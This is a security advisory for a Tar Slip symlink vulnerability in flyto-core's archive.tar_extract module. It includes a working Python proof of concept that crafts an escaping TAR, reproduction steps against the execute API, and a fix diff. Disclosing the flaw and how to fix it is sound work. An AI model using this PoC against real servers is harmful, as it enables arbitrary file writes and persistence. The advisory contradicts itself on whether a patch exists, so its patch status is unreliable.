GHSA-PXVX-67RW-8352
Tar Slip — symlink bypass of path pre-check in `archive.tar_extract`
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-PXVX-67RW-8352 divulgada · CVSS 8.5 (GitHub) | |
| Remediación | Parche 2.26.12 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Impact
A path-traversal (Tar Slip) vulnerability exists in the `archive.tar_extract` module (`src/core/modules/atomic/archive/tar_extract.py:131-144`). Before extraction the module performs only a lexical string-prefix check (`target_path.startswith(normpath(safe_output))`) that neither resolves symlink targets nor enforces an `os.sep` boundary. On Python runtimes where `tarfile` has no `filter` parameter (3.9.0–3.9.16, 3.10.0–3.10.11, 3.11.0–3.11.3), the `filter='data'` call raises `TypeError` and the code falls back to a completely unfiltered `tf.extractall(path=safe_output)`. A malicious TAR containing a symlink member whose target is an absolute (or out-of-bounds relative) path, followed by a regular-file member nested under that symlink, is extracted with the nested file written through the symlink to a location outside the sandbox. An authenticated attacker (Bearer token for `POST /v1/execute` / HTTP MCP, or the unauthenticated local MCP STDIO transport) who can place a crafted TAR inside the sandbox (default: the server's working directory — e.g. via the default-allowed `file.write` or `http.get` modules) can write arbitrary files outside the sandbox, such as `.env`, shell startup files, or cron entries, leading to persistence or further compromise on older Python runtimes.
Patches
- Unpatched: As of the report date, no official patch is available. Users should apply the Workarounds below until a patch is released.
Workarounds
- Deploy on a Python runtime at or above 3.10.12 / 3.11.4 / 3.12+ where `tarfile` supports the `filter='data'` parameter (this blocks absolute/out-of-bounds symlink and `../` escapes — verified on Python 3.10.12).
- Do not allow untrusted callers to invoke `archive.tar_extract` (and `archive.zip_extract`) without an operator review; restrict the Execution API to loopback and keep the Bearer token secret.
- Set `FLYTO_SANDBOX_DIR` to a dedicated empty directory and ensure the process working directory contains no sensitive files.
Attack Path (Validation Evidence)
[Entry Point] POST /v1/execute (routes/modules.py:94, Depends(require_auth))
↓ body: {module_id: "archive.tar_extract", params: {archive_path, output_dir}}
[Auth] require_auth — Bearer token (fail-closed; token written in clear to ~/.flyto/.api-token-<port>, 0600)
↓
[Policy] module_filter.is_allowed("archive.tar_extract") — not in default denylist → allowed
↓
[Chokepoint] enforce_module_policy() (base.py:241) — required_permissions
= [filesystem.read, filesystem.write]; neither is in _DANGEROUS_PERMISSIONS → allowed
↓
[Vulnerable] archive_tar_extract() (tar_extract.py:97)
[Pre-check] tar_extract.py:131-137 target_path.startswith(normpath(safe_output))
— lexical prefix only; symlink targets not resolved; no os.sep boundary (flaw 1)
[Version] tar_extract.py:140-144 on py<3.12 filter='data' raises TypeError →
tf.extractall(path=safe_output) (unfiltered) (flaw 2)
[Sink] extractall creates the symlink member, then writes nested members THROUGH it
↓
[Impact] Arbitrary file write outside the sandboxTaint Flow (Validation Evidence)
Source: params['archive_path'] / params['output_dir'] (API-controlled, token required)
↓ type: string, fully controllable (values constrained to cwd by validate_path_with_env_config)
[Transform 1] validate_path_with_env_config(archive_path) (tar_extract.py:110)
↓ ✗ only constrains "archive file must be inside cwd sandbox"; archive content unchecked
[Transform 2] pre-check startswith(normpath(safe_output)) (tar_extract.py:132-133)
↓ △ bypassable — symlink member name and nested member name are both lexically
│ inside output_dir; startswith lacks os.sep boundary (/tmp/out also matches /tmp/out_evil)
[Transform 3] unfiltered extractall fallback (tar_extract.py:144, py<3.12)
↓ ✗ no sanitization — symlinks neither rejected nor their targets validated
Sink: tf.extractall() writes files outside the sandbox
↓
Impact: Tar Slip — arbitrary file writeSanitization verdict: BYPASSABLE — the pre-check is lexical (symlink targets are not considered) and there is no `filter='data'` backstop on affected Python versions.
Proof of Concept
> Environment: Python 3.10.12 (tarfile has `filter` for contrast) plus a forced unfiltered extraction reproducing the py<3.10.12 fallback branch.
Malicious TAR construction
import io, os, tarfile
OUTSIDE = '/tmp/flyto_outside_test3'
with tarfile.open('evil.tar', 'w') as tf:
lnk = tarfile.TarInfo('evil') # member 1: symlink -> absolute path
lnk.type = tarfile.SYMTYPE
lnk.linkname = OUTSIDE
lnk.mode = 0o777
tf.addfile(lnk)
data = b'TAR_SLIP_PWNED_A\n'
reg = tarfile.TarInfo('evil/pwned.txt') # member 2: file nested under symlink
reg.size = len(data)
tf.addfile(reg, io.BytesIO(data))Trigger (equivalent to tar_extract.py:131-144)
import os, tarfile
safe_output = '/tmp/flyto_f1_test3/out'
os.makedirs(safe_output, exist_ok=True)
with tarfile.open('evil.tar', 'r:*') as tf:
for member in tf.getmembers(): # pre-check: BOTH members pass
tp = os.path.normpath(os.path.join(safe_output, member.name))
assert tp.startswith(os.path.normpath(safe_output)), 'rejected'
tf.extractall(path=safe_output) # py<3.12 fallback: no filterObserved results (Python 3.10.12)
[A abs-symlink] mode=data-filter | BLOCKED by data filter: AbsoluteLinkError ← 3.10.12+ blocks
[B rel-symlink] mode=data-filter | BLOCKED by data filter: LinkOutsideDestinationError
[C ../ member] mode=data-filter | BLOCKED by data filter: OutsideDestinationError
[D forced-no-filter] escaped=True ← py<3.10.12 fallback: escape succeeds
OUTSIDE content: 'TAR_SLIP_PWNED_A'(Row D forces the unfiltered `extractall` — the exact code path executed after the `except TypeError` fallback on Python 3.9.0–3.9.16 / 3.10.0–3.10.11 / 3.11.0–3.11.3.)
Reproduction Steps
- Run `flyto serve` with default configuration on an affected Python (e.g. 3.10.11).
- Using a captured token, call `POST /v1/execute` with `file.write` (or `http.get` from an attacker-controlled server) to place `evil.tar` inside the sandbox (cwd).
- Call `POST /v1/execute` with `module_id=archive.tar_extract`, `params={archive_path: "evil.tar", output_dir: "out"}`.
- Confirm `/tmp/flyto_outside_test3/pwned.txt` exists with content `TAR_SLIP_PWNED_A` — the file was written outside the sandbox.
Affected Component
- File: `src/core/modules/atomic/archive/tar_extract.py:131-144`
- Function: `archive_tar_extract(context)` (module `archive.tar_extract`)
- Dependency: Python standard library `tarfile` (exploitability depends on runtime patch level: <3.8.17 / <3.9.17 / <3.10.12 / <3.11.4 lack the `filter` parameter); `zip_extract.py` shares the same pre-check flaw (see Phase C summary, F2).
- Permission gate: `required_permissions=['filesystem.read','filesystem.write']` — neither is a dangerous permission, allowed by default; module not in the default denylist.
Fix Recommendation
# tar_extract.py
import os
+ from pathlib import Path
with tarfile.open(safe_archive, 'r:*') as tf:
# 1) Reject symlink / hardlink / special-file members outright (version-independent)
+ for member in tf.getmembers():
+ if member.issym() or member.islnk() or not (member.isfile() or member.isdir()):
+ raise ModuleError(
+ f"Tar entry with link/special type is not allowed: {member.name}",
+ code="PATH_TRAVERSAL",
+ )
# 2) Replace lexical startswith with realpath + os.sep boundary
for member in tf.getmembers():
- target_path = os.path.normpath(os.path.join(safe_output, member.name))
- if not target_path.startswith(os.path.normpath(safe_output)):
+ resolved = os.path.realpath(os.path.join(safe_output, member.name))
+ base = os.path.realpath(safe_output)
+ if not (resolved == base or resolved.startswith(base + os.sep)):
raise ModuleError(...)
# 3) Keep the filter on 3.12+; the old-Python fallback is already closed by 1)
try:
tf.extractall(path=safe_output, filter='data')
except TypeError:
tf.extractall(path=safe_output)The root fix is to reject every symlink/hardlink/special-file member before extraction (version-independent, eliminates symlink-following Tar Slips entirely), and to replace the lexical `startswith` with a `realpath` + `os.sep` boundary check to close the `/tmp/out` vs `/tmp/out_evil` prefix bypass.
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
https://cwe.mitre.org/data/definitions/22.html - CVE-2007-4559 (Tar Slip)
https://nvd.nist.gov/vuln/detail/CVE-2007-4559 - CPython tarfile filter backport (gh-104205)
https://github.com/python/cpython/pull/103558 - Python tarfile documentation — Extraction filters
https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter - OWASP Path Traversal Prevention Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/File_Path_Traversal_Prevention_Cheat_Sheet.html
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.26.12 | 0 d | 2.41.0 no afectada |
2.26.12Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-pxvx-67rw-8352Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
